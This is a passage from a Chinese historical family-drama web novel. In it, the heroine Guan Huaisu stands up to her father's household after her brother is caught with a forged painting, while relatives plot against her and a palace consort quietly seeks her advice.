李辰文当时正在做梦呢,却没想到父亲带着礼物送上前,说到拜师的时候,陆大儒一开始还笑嘻嘻的,在展开那幅黄老的图时更是笑容愈发大了,结果细细一看,登时脸色就沉下来了。 而后冷笑一声,拂袖而去! 李辰文和父亲当时都不明白发生了什么,山长细看一下,登时大怒,当场指着李辰文说:“你和你弟弟竟一样,都是狡诈取巧之辈!” “这里面是不是有什么误会……”李珺当时不解,上前赔笑地问。 “这幅图乃是赝品!”山长指着黄老图,说,“李大人难道看不出来么?” 李珺当时凑上前一看,登时脸色大变! “我当日在家里看得清清楚楚,这幅图绝对是真的,但是怎地到了黄老面前就变成假货了?!”李珺怒声说,“路上我才想起来,前几日那逆子说要临摹一份给我挂在书房作为留念,拿去了几日,想来那时候,便是这逆子调包了!” 崔小娘登时急了,立刻哭着拉着李辰文说:“文哥儿,你快与你父亲说清楚,这可是事关你未来前程的事情,你怎会把这么重要的东西调包,定是有人害你,对不对?文哥儿你快说吧!” “你别问了,你让沉砚说,说你好儿子做了什么!”李珺一拍桌子,吓得躲在角落的沉砚浑身一抖,不敢抬头。 崔小娘见儿子不说话,立刻急了,怒声叫沉砚:“沉砚,你给我说清楚,这到底是怎么回事!” 沉砚吓得浑身又是一抖,哭丧着脸看了看李辰文,见李辰文都不敢说话,只能抖着嗓子回答:“哥儿、哥儿吩咐我把那幅真迹当了,买了这幅临摹的来,店里那人打包票说印章都是一模一样的,绝对没人认得出来……” “你疯了!那可是陆大儒!天底下谁都认不出来,陆大儒也不至于认不出!你是猪油蒙了心吗?我把体己全当了才给你换了这幅图,还找你妹妹要了钱!你要那么多钱做什么?什么事情比你的前程还重要?!”崔小娘听到这里,登时疯了,抓着李辰文撕打,一边怒吼着问。 “小娘、小娘,我不是故意的,我不是故意的!”李辰文见从小最疼自己的小娘这般情状,终于大哭出声,说,“陆大儒虽喜欢黄老的画,但是山长也说他并不擅长此道,陆大儒最出名的也是文章,并不擅画,我以为没事的,那幅赝品我对着细细看了半个时辰,我真是一点也没找出区别……” 李辰文抖着嗓子,哭着说。 “你自然找不到区别!”李珺气极反笑,冷声说,“你山长说陆大儒不擅此道,不是说他和你一样睁眼瞎,真迹都看不出!说的是他不擅长自己画!“ “说这些如今已经没用,”李珺沉声说,“既然你们都在这里,我刚好要问,文哥儿,你当了画拿那么多钱是做什么?” 李辰文不敢回答。 崔小娘登时急了,说:“你是不是把钱放在手上?你只管说别怕!” “不说?不说就去搜你的屋子!”李珺冷声说,“或者是把沉砚再打二十板子,打到你说,或者是打死沉砚再打你,你自己挑!” 李辰文知道父亲说到做到,心中发紧,不敢再侥幸,只能闭着眼睛,咬牙说:“是给珍珍了!” 众人都是一愣。 “珍珍,她、她是谢家血脉,她自小只跟着嬷嬷长大,出身高贵,性子单纯,我和她一见倾心,她说不求名分,但求与我长相厮守……”李辰文轻声说着,流下眼泪,说,“她怀了孩子,胆子小,想偷偷离开,我舍不得她,便想置办一处宅子,让她和孩儿能安顿下来,再与爹慢慢商量……” 李珺听得头更痛了。 他咬牙,说:“这么简单的欢场骗术便能将你玩的团团转,连自己的前程也搭上去了?” “不是的!珍珍真的是个很单纯的姑娘!她绝不是什么来路不明的女人,她是谢家的遗孤啊!”李辰文不愿有人污蔑心上人,立刻说,“父亲,我想纳珍珍进门,求您了父亲!” “你去江南,扬州瘦马十个有八个敢说自己是前朝望族遗孤,这都是多少年抬身价的老手段了!”李珺恨铁不成钢,怒声说,“何况你这个猪脑子!若是别家也就算了,真是谢家遗孤,你当谢家人死绝了么?驸马爷还活着!平安侯还在呢!真若是谢家本家的血脉,哪里轮得到你,早叫驸马接到家里去了!当年大长公主亲自办案,谢家满门一口也没留下……” 说到这里,李珺意识到自己失态了,收了话语,他稍微冷静下来,看着两个儿子,忍不住冷声说:“你们二人至此,进学之路已经绝了。” “怎么能这样!”门口,被惊吓之后一直病歪歪的老夫人终于赶到,她拄着拐杖,虚弱了许多,显然早听说了全部事情,进门就对李珺说,“珺儿,他们还是孩子,只是小孩子不懂事,哪里有这么严重?” “母亲,您身子没好,怎么又起来了?”李珺见母亲来了,立刻起身扶着老夫人坐下,然后说,“都是我的骨肉,难道我便愿意?如今想救他们,只能把他们送回肇州,找个名师教导,潜心读书,日后等京师忘了此事,再考取功名,如此徐徐图之,才是上策。” “我年纪大了,他们若是这一送走,只怕临终也看不到孩子们了……”老夫人闻言,眼泪立刻下来了。 第一百三十二章 求助 “先派人去找那个珍珍,把人抓起来。”李珺开口。 “父亲,不要这样!”李辰文刚想求情,李珺却冷笑一声,说,“要么你回老家,要么现在派人去抓那个珍珍,你自己选。” 李辰文愣了一下,满头大汗,神色痛苦,却不敢说话了。 李珺吩咐:“李福,去,叫沉砚带路!” 沉砚呻吟着被架着带路去了,屋子里又恢复了安静。 李珺转身,对关怀素说:“玉儿,你可愿意帮家里一个忙?” 关怀素心中冷笑,面上却迷茫地说:“父亲,我能帮得上什么呢?” “你……你或许不知道,当初你祖父与陆大儒,其实乃是莫逆之交。”李珺叹了口气,说,“陆大儒此人对故旧十分仗义,与你私交不错的宋家姑娘,便是陆大儒出手相救,才被你姨母收留的,此事,你知道吧?” 这事儿外人都以为是宋兰自个儿找到陆大儒,后来又是程娘子自个儿仗义收留孤女。 除了参与者,谁都不知道里面是关怀素的手笔。 因此这会子关怀素也故作不知,惊讶地说:“原来如此!” 而后继续说:“可是这些年,我都不知道有陆伯伯这个人,也从未来往交际过,如今贸然求助,人家许压根不认得我呢!” 这话说的李珺面皮抽抽,大女儿说的好像是无心,但是他却总觉得似乎是在嘲讽他当初在关娘子死后,断了关家一切亲朋故旧往来,谢绝了人家的年礼,就为了心中那些小算盘,不敢叫大女儿有太多帮手,结果如今要求人了,便自酿苦果。 但是理性上李珺又觉得自己想多了,因这大女儿压根就不知道这些年的事情,他勉强压下心里的烦躁,勉力笑了笑,做出温和的慈父样子,说:“这些年虽没来往,但是你娘当初也曾是他看着长大的,婉玉,为了你这两个弟弟,为了这个家,你可愿意试试?” 关怀素看着李珺,只觉得这个男人才真是个面慈心毒的,放任母亲和小妾害死阿娘,侵占了关家的财产,放任众人欺负并害死姐姐,她冒名回来之后,一直十分小心,没给找到机会,他就一直暗示孙大娘子把她远嫁出去,找的人还个个十分不堪,直到最近愈发按不住她,才勉强找了个看着还不错的,等着日后拿捏她。 而做了这些近乎斩草除根的行为之后,他居然还能笑着伪装成慈父,叫她帮着害她的人的血脉求情。 若是换成姐姐侥幸活到现在,不知真相,真的帮了,祖父和阿娘在天之灵,只怕都要被气的九泉之下难以安宁。 真是太会恶心人了。 关怀素心里想着,面上却假作羞怯,说:“我不敢,我都不认识他。” 李珺还想说什么,老夫人却着急了,怒声说:“养你这么多年,你竟这点事情都办不好么?” 关怀素与老夫人不睦,许多人都知道,当初被苛待的事情也都是板上钉钉的,而且她现在深恨老夫人,闻言也不笑了,只说:“我娘的嫁妆何止万两,我自小到大,每月不过二两月钱,便是庄子上的利息都花不到百分之一,是您养我,还是我娘的嫁妆养着您呢?毕竟据说当初您来京师的时候,可是全副家当也只得三车呢。” “婉玉,你放肆!”李珺登时大怒,一拍桌子,众人皆惊。 关怀素却直视李珺,笑着问:“父亲为何如此震怒?” 为何震怒,因为她说出了实情! 而且这事情不该她知道的! 全家一起瞒着她这么多年,一直指着她的鼻子骂她赔钱货,克扣她的钱财,她不是都忍下来了吗? 为何这次不忍了? 李珺心中惊疑不定,恼羞成怒,一时竟不知道说什么。 老夫人也是一惊,指着她骂:“你果然跟你娘是一路货色,都是个冷血冷心的!” “我娘是什么货色?是刚正不阿、不与欺男霸女的小人同流合污,是心中坦荡,未曾谋害人性命?”关怀素盯着老夫人的眼睛,冷声说,“若是因为品行高洁而被小人不容,那我为我娘自豪!” 这一段话,叫老夫人再厚的脸皮也绷不住,再加上想到弟弟的死,当初也是被媳妇这般不卑不亢地顶回来,一时又惊又怒,被气得一翻白眼,直接晕了过去。 “你混账!滚回你的房里!”李珺惊怒交加,一把扶住老夫人,对关怀素呵斥。 关怀素出门来,宁小娘吓得半死,走出前院才问:“大姑娘你疯了?你怎地突然这么刺激他们?” “我心里有数,小娘放心。”关怀素拍拍宁小娘的手,神色已经冷静下来,轻声说,“小娘,接下来家里会有很多事情,你加快速度,把账上能抽出来的钱都抽出来,先把退路准备好!” 宁小娘一惊,说:“这么快?” 哪里快呢,她前后已经在京师耽搁了一年多的时间,京师如今局势隐隐地瞧着也奇怪,太子那边、赵白芷那边奇怪,大长公主态度也暧昧,当今圣人又经常辍朝,偏自大长公主离开之后,西北连着打了好几场败仗,狄夷那边听说卷土重来,那首领比先前的阿拜疆还厉害几分。 局势隐隐见着有些不对劲,朝堂更替之际,偏又边关不稳,稍有不慎便是战火,她一定要在局势完全糟糕之前处理好这里的一切,否则到时候乱起来,一个人的公道又算什么? 当然,哪怕不乱,她也受够了李家这帮恶心的吸血虫了。 关怀素与宁小娘说完话,突然天际之上传来闷雷阵阵。 “光是打闷雷,闷得要死也不下雨。”宁小娘皱眉看天上,轻声说,“憋这么久,不会下大暴雨吧?” 又担心地说:“我娘腿脚不太好,下了大雨不方便,我可得给他们带个信,叫他们囤些吃食放在家里。” 关怀素笑着听她念叨,二人一路回屋。 到了屋里,丁妈妈说:“方才良娣的帖子来了,让您明日去太子府说说话。” 又说:“我回来的时候,三姑娘身边的点墨来问,那嬷嬷说只请了大姑娘一人,点墨当时脸就拉下去了!” “哦?连婉淑都没请?”关怀素闻言,却没觉得畅快,反而皱眉。 她心中一沉,思索了一会儿。 丁妈妈和柳叶拿着衣服在面前摆弄,关怀素摇摇头,说:“不过是说话,不是什么宴席,明儿个穿的简单点。” 看二人愣怔,关怀素想到宋兰那日见到自己的打扮,十分干练利落,一点也不像是做客的,倒像是办事的。 她心中微微一跳,轻声说:“明儿个许不是做客,良娣许是有什么正事商量。” 又吩咐:“无须华贵,只管轻简干练些就是。” 说完,院子里李福过来了。 “姑娘,老爷吩咐,说姑娘也是要专心备婚的人了,已经拿了您的庚帖去与官州刺史家里合婚,若是可以,年底您也要出嫁,很该专心在家里准备嫁妆才是。”李福小心地说。 “父亲说什么,管家您直说吧。”关怀素知道李珺这是故意给她下马威来了,并不放在心上,只问。 “老爷说,明儿个良娣召见,不敢不应召,但是接下来好好待在家里才行。”李福躬身,有些紧张地说。 关怀素听完,只笑了笑,说:“烦您跟父亲说一声,就说我知道了。” 李福小心地出去了,一路去了前院,进屋之后,李珺就问:“说了?” “说了,一字未差。”李福恭敬回答。 “大姑娘什么样子?说了什么?”李珺问。 “大姑娘行止得体,面带笑意,只让我回知道了。”李福垂眸回答。 李珺神色一愣。 他皱眉,突然说:“以前玉儿也这般镇定吗?” 李福小心地说:“许是越长大,越像娘亲呢?” 李珺神色更为复杂,他抬眼看书房里的挂画,突然一脸怒意,说:“去,把那幅画收起来!” 李福愣住,但是马上回过神来,走到那幅关娘子的画作前,小心地问:“是收这幅吗,老爷?” 李珺沉默一下,而后突然说:“算了,你出去吧。” 李福连忙躬身出去了。 李珺不知在想什么,崔小娘在伺候老夫人,二人神色却都不好。 崔小娘端着药过去,老夫人却恶狠狠地一手打掉了药碗,指着她怒斥:“都是你这个蠢妇!我说文哥儿大了,要给他身边安排个人才好,你非得悄悄自作主张!如今倒是好,他身边没人,可不就叫他被外头的人勾搭了?如今生生坏了前程不说,人去楼空,钱财也被卷走了!” 崔小娘被泼了一身的药,不敢动作,只哭着说:“老夫人,我知道错了,我知道了错了!” 又说:“只要文哥儿能过这一遭,日后老夫人如何安排,我一个字儿都不敢说了!只求老夫人帮帮文哥儿吧,这孩子往日最孝顺您的啊!” “我倒是想帮,但是你看看那小贱种,黑心烂肝肠的小贱货,她连自家兄弟都不肯帮,跟她那个贱人娘一个德行!”老夫人恨不得一口咬掉关怀素的肉! 又怒声说:“你最近别对她那院子下手了,如今留着她一条贱命,得叫她先把文哥儿和瑜哥儿的事情解决了再死!” 崔小娘心中着急,轻声说:“老爷和大娘子像是在给大姑娘说婚事,今儿管家已经拿了大姑娘的庚帖去合婚呢!” 见老夫人不说话,崔小娘立刻小声说:“大姑娘若是嫁出去,皇庄无论如何也要带走了……” 老夫人睨了她一眼,冷笑一声,说:“如今你没了庄子,没了进项,便着急了?我先头一年多怎么催你的?你若是早点把她解决了,哪里能逼到家里为了三千两便背着你把庄子卖了跑了?” 崔小娘不敢说话,只垂首小声说:“是我办事不利,老祖宗您看在文哥儿和蓉姐儿的份上,求您再帮帮我!” 见她不为所动,又哀声跪着膝行到床边,哭着说:“若是大姑娘不在了,那皇庄子我也不指望,只希望您看在文哥儿的份上,赏我一点傍身的产业,日后文哥儿娶了媳妇,这些东西自然都是他的啊!” 老夫人听到这里,才冷声说:“行了,我知道了!” 又说:“等她办完事再动手,总之不能叫她从这个家里带一厘钱出去就是!” 崔小娘一听,立刻大喜,连声应是,想了想,又说:“可以等那家给了聘礼再动手,到时候对方克死未过门的妻子,自然也不能让退钱。” 如此一来,又是一笔进项。 老夫人也觉得可以,便点点头,施舍地说:“到时候的钱财,便都拿着贴补文哥儿,你是他娘,屋里弄得什么都没有,岂不是也丢文哥儿的人?” “还是老祖宗心疼我们。”崔小娘哭着说,老夫人说乏了,让她退下时,她才起身。 起来的时候,因为跪得太久气血不畅,崔小娘差点一个趔趄。 好在她扶住了床头,慢慢地挪了几步,才赔笑着退了出去。 孔妈妈等人在旁边看着,脸上都露出了怜悯之色。 姜妈妈在门口看到,更是心中愤恨,走远了才轻声说:“老夫人也太不给小娘脸面了,竟还让您跪这么久,膝盖肯定又肿了!” 崔小娘脸上也闪过怨毒,但是她叹了口气,说:“那还能如何?我这辈子被卖进家里,就是伺候她,只要她在,我便只能随便打骂。” 说完,看姜妈妈眼圈红了,崔小娘反而冷静地拍拍她,安慰她说:“想开点,好歹老夫人还真心心疼蓉儿和文哥儿,有她在,也有人护着文哥儿,那我受这点委屈又算什么呢?” 姜妈妈哽咽着,扶着崔小娘进屋去了。 那头东院,孙大娘子也在训子。 第一百三十三章 橄榄枝 “你好好念书便是,为何要学着那些蝇营狗苟的伎俩?”孙大娘子气地在屋里团团转,指着哭泣的李辰瑜说,“偏还自作聪明,叫人给设计了都不知道!” 李辰瑜哭得稀里哗啦,不敢说什么,只埋头给母亲骂。 松烟被打得半死,到了这个时候也知道只有孙大娘子能保他们,便哭着伏跪在地上,哽咽地说:“大娘子,这事儿不怪哥儿,实在是大哥儿一直处处压着咱们哥儿,若是他再拜了陆大儒为师,咱们哥儿只怕是这辈子都没个出头之日了,哥儿也是害怕才一时急了……” 孙大娘子闻言,心中一痛。 她何尝不知道李辰瑜作为嫡子的压力? 诸多指责被吞了下去,孙大娘子挥挥手,说:“回去吧,先敷药了好好休息。” 又叮嘱李辰瑜:“先好好读书,最近什么事情都不要管,只管安心在家里念书。” “娘,我不想回肇州!”李辰瑜见母亲口气松动,立刻哭着说。 “我知道了,这事儿我来想办法!”孙大娘子叹了口气,说。 看着李辰瑜走了,婉淑才开口,说:“娘,弟弟不能回肇州。肇州是崔小娘的地盘,李家老人与她情分不一样,若是弟弟与大弟一起回去,只怕出什么事情都不知道。” 这些事情孙大娘子自然知道,她一开始就没打算叫李辰瑜跟着一起回肇州,她闻言冷声说:“自然不能叫你弟弟回去,这事儿还得你大姐姐出手才成。” “大姐姐今儿瞧着不想帮家里呢。”婉淑闻言,忍不住担心地说。 孙大娘子自然也知道,但是她手里还捏着关怀素身份的秘密,她一直隐而不说,原是想着借力打力,从中牟利。 但是现在情势改变,刚好也可以拿来一用。 孙大娘子心中胸有成竹,婉淑却不知道,婉淑只有些愤恨地说:“大姐姐一点也不顾念家里的情分,偏良娣还不知为何对大姐姐格外青眼,明日找人说话,竟只找了大姐姐呢。” 孙大娘子见婉淑气的帕子都拧成麻花,立刻呵斥:“这等怨望之话,日后不许再说!良娣如今是天家儿媳,要做什么事情岂是你能置喙?” “娘!”婉淑不甘心地说,“我好歹也是她未来嫂嫂呢!良娣竟连一点脸面也不肯赏我么!” “你糊涂!”孙大娘子呵斥,“良娣自然有自己的打算,再说了,你如今没过门,很该仔细检查自己的嫁妆才是主要,日后你过了门,良娣总不能把你忘了!” 婉淑听到这里,虽不服气,却也知道自己无法改变赵白芷的想法,只能闷声点点头。 孙大娘子看她这个样子,叹了口气,温声说:“你别糊涂,安安分分地嫁出去,好好笼络住赵二郎,日后多的是好日子!” “那生了孩子的小妾还不知道怎么回事呢。”婉淑闻言,帕子扭得更紧了,她最近最担心的就是此事。 “总比你那二姐好,西北常将军家里的大女儿都入京了,带了几十车的嫁妆,估计不多久就是婚期,主母入府,你那二姐姐一个绣花枕头,只怕好日子不多了。”孙大娘子闻言,立刻用婉蓉的处境来安慰婉淑。 婉淑闻言,登时心中一定,帕子也放开了,脸上有了点笑容,说:“阿娘说的是,好歹我也是主母呢。” 李家众人歇下,被孙大娘子提到的婉蓉,这会子正惊讶地看着刘仁,不可置信地问:“爷您说什么?下个月您就要娶正妻了?” 刘仁不以为意地脱衣裳,说:“对啊,下个月初,说是秦家老祖母年纪大了,想看着大孙女出嫁,便急了些。” 这是急不急的事情么? 婉蓉登时着急了,也忘了伺候刘仁更衣,提高声音说:“爷,您答应我迟一些再娶妻的呢!” 刘仁刚与她成婚,正是上头的时候,这会子听她这么说,也不恼怒,只笑着赔罪说:“是我的不是,只是阿娘催的急,我也不敢不从啊!” 宝珠见自家姑娘快发浑了,立刻过去送热帕子,并悄悄地趁机捏了一下姑娘的手。 婉蓉疼得一哆嗦,看到宝珠着急的表情,这才明白这时候不是跟刘仁质问的时候。 她立刻收掉自己脸上愤怒的表情,换成了一副委屈的样子,拿着热帕子闷闷地给刘仁擦手,刘仁看她如此情态,立刻问她怎么了。 心中其实稍微有些烦躁,毕竟娶妻的事情她本该就知道会有这一天,这时候闹,他本就忙着调查驸马当年的事情烦躁着呢,来她这里是想放松舒服的,早知道会闹起来,他就不来了。 刘仁正想着呢,却听到面前美人并不生气,也不哭哭啼啼,只是轻声说:“我、我有些害怕……” 刘仁登时觉得自己脑子像是被撞了一下似的。 眼前姑娘本就美貌,如今楚楚可怜地依赖自己的样子,叫刘仁心中一软。遂想起来她的出身,又是为何阴差阳错进了自己后院,一时觉得她也确实委屈,本来是个官宦人家的姑娘,却弄得在自己后院只能看着正室的脸色过活。 他也是个不过脑子的,闻言便立刻扶着婉蓉,轻声说:“有什么好怕的?实在不成,你便单在这东府院子里住着,叫她住西府就是。” “这、这是不是不合规矩?”婉蓉闻言心中大喜,只是面上还是犹豫地拒绝。 “太子府中不也是如此?”刘仁却越想越觉得不错,他温声安慰婉蓉,说,“蓉儿,你性子胆小,她一个西北来的粗枝大叶的,别叫她吓到你。” 婉蓉登时狂喜,但是面上只感动地握住刘仁的手,轻声说:“郎君你对我真好。” 那边蜜里调油,一夜过去,第二天一大早,天气黑沉沉的吓人。 “姑娘,许是要下大雨了。”柳叶一大早推开窗,就有些担心地问关怀素,“咱们今儿去良娣那边,可别回不来。” 关怀素瞧了瞧,大早上的,黑云压城,屋子里竟还要点灯。 她也有些担心,只能说:“良娣召见,总不能不去,记得带足雨披与伞,对了,会赶车的老妈妈也带两个,回来时能换着点才好。” 丁妈妈听着,立刻点头出去办事,关怀素随便吃了点朝食,便起身急急地往太子府去。 一路上行人十分零散,且都行色匆匆,大家伙儿显然都意识到了将有一场大暴雨。 关怀素到了太子府,很快见到了赵白芷,又见到了宋兰、厉如珠和包子脸等几个眼熟的姑娘。 赵白芷出来的时候,大家都齐齐请安,赵白芷笑着说:“起来吧,今儿个天气不好,不敢劳烦大家久坐,便请各位带着各自的信封回去,等三日之后,把信传回来给我便是。” 说着,小宫女们都端着托盘出来,每个托盘上都是一封封着的书信。 关怀素面前也有一封,她拿了起来,感觉轻飘飘的。 其他人也都是一脸莫名,但是今儿个天气太糟糕,众人也不敢久留,闻言便都点头,拿了书信起来,齐齐给赵白芷请安后告辞。 赵白芷的肚子还是未曾显怀,但是看得出来脸色不是特别好,应是头几个月特别容易劳累的关系。 如此劳累,怀着如此金贵的一胎,却还要强打精神筹谋什么…… 关怀素心中有些紧张,握着书信的手觉得有千斤重。 她感觉到赵白芷的打算许不简单,且一定有什么逼着赵白芷哪怕孕期不适,也要强撑着打点。 关怀素很怕麻烦,她并不希望参与到皇家的暗涌里去。 但是无论如何,现在还是要看这封书信。 关怀素打开一看,里面只有短短的一句话,字迹娟秀,却如重鼓敲在关怀素心中——“关姐姐,工学之策,可有利民之方?” 关怀素瞪大眼睛,从头到尾看了几遍。 她看明白了,这是赵白芷的字迹。 可是为什么? 为什么赵白芷会找她要工学利民之方? 问她是工学利民之方,问其他人呢? 如今想想,被邀请来的一帮闺秀,宋兰性子坚韧、刚正不阿,能反击自己舅舅舅母,绝不心软,是个坚韧刚正的苗子;厉如珠和包子脸武学了得,家学渊源的武将出身。 而其他闺秀,都是心有锦绣的才女。 良娣到底想做什么? 关怀素猛地想到了开国时,朝中曾有的女官。 她心中剧震,开国时确实有女官,但是开国后随着太后身子不好开始休养,接下来一帮老酸儒开始占据话语权之后,开始逐渐排斥女子为官,而后女官便很快退出朝堂。 如今也只有大长公主身边还有正经朝廷俸禄的女官了,且还没了上朝资格。 而朝堂上以王相为首,可是绝不会允许女子抛头露面、与男子并立朝堂的,赵白芷是在想什么?她想再开女官吗? 按照先帝的规矩,她如今怀有太子唯一的子嗣,且是太子独宠,她是实质上的太子妃一般,确实可以推举女官,若是推举成功,她们都会是太子一系。 可是问题是,赵白芷无端端地,为什么要这么做? 难道是因为太子七情不开,所以想出面为太子铺路? 不,不会。 当今只有太子一个孩子,哪里就需要赵白芷如此着急,怀着孩子也这么匆忙打点? 眼下有太多种可能,但是所有可能归根到底就是一件事情——太子位置不稳。 不管是内部威胁还是外部威胁,总之一定是这个原因,才能叫赵白芷如此紧张,怀着太子目前唯一的孩子,还要撑着掌握局面。 得出这个结论之后,关怀素心中更是紧张了,她想,她必须要加快速度,办好事情离京了。 却没想到,刚回家,麻烦就找上了门。 孙大娘子亲自到了她的院子里拜访。 第一百三十四章 争吵 关怀素刚进屋换好了衣服,还没坐下,便听说大娘子来了。 柳叶和丁妈妈都愣住了,因自关怀素回家,除了刚进家门那天什么都没有送了一回东西,大娘子便再也没来过这个院子。 这会子她又来,显然是无事不登三宝殿。 说话间孙大娘子已经进屋,关怀素立刻起身行礼,还没说话,却被孙大娘子亲手扶了起来。 而后关怀素便听到孙大娘子含着笑意的声音,温和地说:“起来吧,我们母子,何必如此客套?” 这话说的关怀素一愣,面上却笑着附和孙大娘子的话,孙大娘子说了几句天气闷热,恐有大暴雨,叫她一会子把院子门窗关紧,又说不可贪凉,在家静坐一定要加上外套,不然怕冷到云云。 说的丁妈妈和柳叶都开始打呵欠的时候,孙大娘子见关怀素还是气定神闲,并不搭话,知道不能叫关怀素主动开口,便笑了笑,轻声说:“玉儿,你也知道,你辰瑜弟弟还是个小孩子,做事许是不够周全,但是他绝对没有坏心的。” 都十四了,乡下十四的儿郎都当大人使了,规矩严厉些的人家,这个岁数也进学许久,早该懂事了。 虽不至于说要沉稳如老叟,但是最差也要知道什么能干、什么不能干了。 且哪怕孩子气一些,正派的也该知道,不可随便抄同窗的答案,这可是本性问题。 关怀素当时出这个主意的时候,确实念在李辰瑜年幼,给了他一个选择机会。 她只是让师兄叫人去丢答案,又叫人在门口说起答题之事,其他任李辰瑜自己选择。 李辰瑜两次都选择了抄人家的答案,这是他自己的选择。 但是面对孙大娘子的狡辩,关怀素只笑着打打扇子,说:“母亲说的是。” 孙大娘子见她还是滑不留手不接话,偏还气定神闲的样子,心中微微恼怒,便也笑了笑,冷下脸来,说:“玉儿,你父亲如今给你看的是官州刺史家的孙子,那家孩子可是顶好的,要知道还有几个其他人家都请了媒人上门,你父亲还在考虑呢。有一家那孩子虽文不成武不就,性子也荒唐,但是家里老爷子可是户部尚书,若是把你嫁给那家,日后文哥儿和瑜哥儿的前程自然也不差。” 这话就是威胁了。 关怀素笑笑,点头说:“母亲说的极是。” 孙大娘子见她还是油盐不进,登时更怒了,一拍桌子,说:“玉儿,你要知道,只要你是李家的女儿,你就要听我和你爹的安排,你的婚事如何,还看我们呢!” 关怀素知道,她是在提醒自己身份暴露的事情,闻言便一笑,说:“大娘子说的是,只是我不只是李家的女儿,也是关家的女儿,若是对方太荒唐,我便直接豁出去去敲京师的登闻鼓,想来还有人记得祖父,足够让整个京师热闹起来了。” 这么久以来,这是关怀素第一次亮出獠牙,直接与孙大娘子对上。 屋外黑沉沉的天在这一瞬,像是被撕开了一道口子,一阵凉风吹过来,顷刻间暴雨如注。 孙大娘子听到嘈杂雨声轰隆而下,心中惊疑不定。 她一直以为关怀素会非常紧张自己的身份,知道自己身份暴露之后会十分害怕,她完全没想到,关怀素几乎与她面对面地,直接几乎挑明了说话。 “大娘子不理解我为何如此理直气壮?”关怀素笑着打了打扇子,盯着孙大娘子的眼睛说,“因为我不是被养在后宅、只能算计人心的可怜人,我光明正大,恩怨分明。欠我的,我会百倍索要,不欠我的,我一分一毫也不会占便宜。” 孙大娘子听她这么说,几乎已经直白承认自己的来历,不可置信地说:“你知不知道你在说什么?” “我知道。”关怀素看着孙大娘子,说,“大娘子放心,您若是没做亏心事,想来辰瑜弟弟自然会平安的,对不对?” 她做没做亏心事呢? 孙大娘子脸登时成了酱紫色。 她当然做了亏心事。 她还享受着关家的钱财,关家的下人当初是她出主意发卖的,她虽没直接杀人,但是是她出的主意。 我不杀伯仁,伯仁却因我而死。 算起来这份血债里,有她的一份。 孙大娘子想到这里,知道再无叫关怀素帮忙的可能,恼羞成怒之下,冷笑一声,说:“好,我便看着大姑娘嫁个好人家,下半辈子和乐如意。” 她这显然是说的反话,明显是说她要在婚事上对关怀素动手脚,关怀素却完全不搭理。 丁妈妈送走她,才问关怀素:“姑娘,你真不怕大娘子给你婚事动手脚?” “不怕,到时候我早就走了。妈妈,我若是日后回关家所在的地方,你是想留在京师的话,我就给你一笔养老钱,让您舒舒服服养老。”关怀素笑着说,“或者您也选一块地,建个大房子,日后别再做活了,在家舒舒服服当个老封君多好。” 丁妈妈闻言,登时心中火热,她早知道姑娘给下人随手都能赏地赏钱,自然也亏待不了她,这会子亲口听姑娘说,心中还是狂喜,连声说:“哎哟,那我可就盼着了!” 又有些担心地说:“不过姑娘到底要做什么呢?” “妈妈,这事儿你别问,你知道的越少,日后对你越好。”关怀素拍拍丁妈妈,笑着说。 接下来几天皆是连绵不断的暴雨,关怀素便应了李珺的要求,在家老老实实地待着。 她唯一犹豫不决的,则是赵白芷给她递的那张条子。 考虑了两天,最后一天的时候,关怀素到底对柳叶说:“柳叶,磨墨吧。” 柳叶立刻收拾了案台,开始磨墨,关怀素心中打了腹稿,微微吐了口气,立刻就着雨声,在纸上写了起来。 她洋洋洒洒,以京师水道为例子,写了工学最重要的乃是为天子利民所用,而后以八仙庄里祖父的许多安排,写了劝课农桑之中,工学的价值。 至于攻城略地机关之术,关怀素则是一字未提。 “姑娘,还不知道良娣要做什么呢,何至于写得这么细。”柳叶轻声提醒。 “八仙庄种种,本就是祖父当年想呈给先帝,以劝课农桑。只是后来先帝旧伤发作早早去了,叫祖父一番心血空置。”关怀素叹了口气,说,“如今呈给良娣,也算是了了祖父当年的一个心愿。” 柳叶叹了口气,说:“您和老先生一样,只要能帮上周边人的,总都想试试。” 关怀素看她大人一般老成模样,忍不住笑了笑,说:“难道小柳叶你不是?” 柳叶骄傲地笑了笑,说:“我虽不姓关,但也是关家人,我当然也愿意帮人!” 二人笑闹着,一天就这么过去,雨势还是未停。 好在第二天刚准备叫丁妈妈送信,赵白芷却派了人来拿信,省了关怀素一番忙碌。 关怀素便打算在家偷得浮生半日闲,泡一壶浓茶看看书。 正在想着,前院的雪沫却来了,说是主君召见。 哪怕上次闹得如此不快,李珺再次见到关怀素,脸上还是带着慈爱的笑容,仿佛之前什么都没发生过。 看到关怀素,他温声招呼:“玉儿来了,这几日在家里做什么?” “煮了茶,本想着喝喝茶、看看书。”关怀素行礼之后,笑着回答。 “听雨读书,十分雅趣。”李珺笑着点头,看着关怀素坐下,给她倒了一杯茶,而后说,“试试我这个茶。” 关怀素喝了一口,眼睛微亮,说:“清冽回甘,这是今年新鲜的雨前龙井?” 李珺大笑起来,说:“不错,这正是老师前几日赠我的,正是今年江南的新贡品!” 又说:“玉儿你喜欢,一会子我给你拿一些过去。” “如此珍贵,我当不起。”关怀素摇头拒绝。 “你是我亲生血脉,有什么当不得的?”李珺叹了口气,十分温柔地看着关怀素,像是看着某个故人,轻声说,“我年轻时第一次喝雨前龙井,还是沾你母亲的光。” 关怀素好奇地看着,李珺便笑着说:“你母亲早年在宫里长大,这些东西对她来说只算寻常。” 他停了一下,想等着关怀素问关于阿娘的事情,却没想到关怀素只笑着点头,并不接话。 李珺愣了一下,但是立刻想到自己的打算,叹了口气,对关怀素说:“这些年,你没了阿娘,在家里确实可能受了很多委屈。可是玉儿,我知道之后,也惩罚了下人,你祖母年迈,你也不能让她一个长辈跟你再告饶吧?” 关怀素心中冷笑,知道李珺是打算晓之以情动之以理,来打动自己。 可惜了,这一招只对真的对他们有感情的人有用,若是姐姐,许是可能还会难过,但是换成关怀素,却心中一丝触动也没有。 她并不被李珺的话动摇,只看着李珺,突然问:“父亲,你真的不知道下人怎么欺负我的吗?” 她这句话问得其实不重,轻轻柔柔的,眼神也只是直视着李珺。 但是李珺不知为何,竟像是被扎了一下一般,突然觉得大女儿的眼睛刺人。 他偏头闪躲一下,而后才强迫自己转过头来,认真地说:“当然,都怪我忙着公事,竟没注意到玉儿你受了委屈。” 他不知道,只是这么一个下意识的小动作,关怀素就彻底把他看清楚了。 关怀素看着李珺说:“没事,父亲所忙之事,乃是江山社稷的大事。” 